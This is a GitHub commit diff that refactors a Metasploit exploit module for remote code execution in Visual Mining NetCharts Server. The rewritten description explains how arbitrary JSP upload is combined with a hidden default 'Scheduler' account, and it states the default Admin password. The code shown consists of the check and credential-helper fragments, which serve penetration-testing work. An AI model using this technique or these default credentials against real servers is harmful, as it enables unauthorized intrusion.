Skip to content

Commit 7510fb4

Browse files
committed
touch up visual_mining_netcharts_upload
1 parent 709ff1b commit 7510fb4

File tree

1 file changed

+17
-23
lines changed

1 file changed

+17
-23
lines changed

modules/exploits/multi/http/visual_mining_netcharts_upload.rb

Lines changed: 17 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -19,13 +19,15 @@ def initialize(info = {})
1919
super(update_info(info,
2020
'Name' => 'Visual Mining NetCharts Server Remote Code Execution',
2121
'Description' => %q{
22-
This module exploits multiple vulnerabilities on Visual Mining NetCharts. First of all, a
23-
lack of input validation in the administration console allows to upload arbitrary jsp code
24-
to locations accessible later through the web service. But authentication is required to
25-
access the administration console. To bypass authentication, a 'hidden' user is available
26-
by default (and non editable). This user, named 'Scheduler', only will be able to log in
27-
the console after some modification in the user's database. If the 'Scheduler' user isn't
28-
available it's possible to provide valid credentials through the datastore options.
22+
This module exploits multiple vulnerabilities in Visual Mining NetCharts.
23+
First, a lack of input validation in the administration console permits
24+
arbitrary jsp code upload to locations accessible later through the web
25+
service. Authentication is typically required, however a 'hidden' user is
26+
available by default (and non editable). This user, named 'Scheduler',
27+
can only login to the console after any modification in the user
28+
database (a user is added, admin password is changed etc). If the
29+
'Scheduler' user isn't available valid credentials must be supplied. The
30+
default Admin password is Admin.
2931
},
3032
'Author' =>
3133
[
@@ -65,10 +67,10 @@ def check
6567
})
6668

6769
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
68-
return Exploit::CheckCode::Detected
70+
Exploit::CheckCode::Detected
71+
else
72+
Exploit::CheckCode::Safe
6973
end
70-
71-
Exploit::CheckCode::Safe
7274
end
7375

7476
def exploit
@@ -114,25 +116,17 @@ def upload(file_name, contents)
114116
})
115117

116118
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
117-
return true
119+
true
120+
else
121+
false
118122
end
119-
120-
false
121123
end
122124

123125
def username
124-
if datastore['USERNAME'].blank?
125-
return DEFAULT_USERNAME
126-
end
127-
128-
datastore['USERNAME']
126+
datastore['USERNAME'].blank? ? DEFAULT_USERNAME : datastore['USERNAME']
129127
end
130128

131129
def password
132-
if datastore['PASSWORD'].blank?
133-
return DEFAULT_PASSWORD
134-
end
135-
136-
datastore['PASSWORD']
130+
datastore['PASSWORD'].blank? ? DEFAULT_PASSWORD : datastore['PASSWORD']
137131
end
138132
end

0 commit comments

Comments
 (0)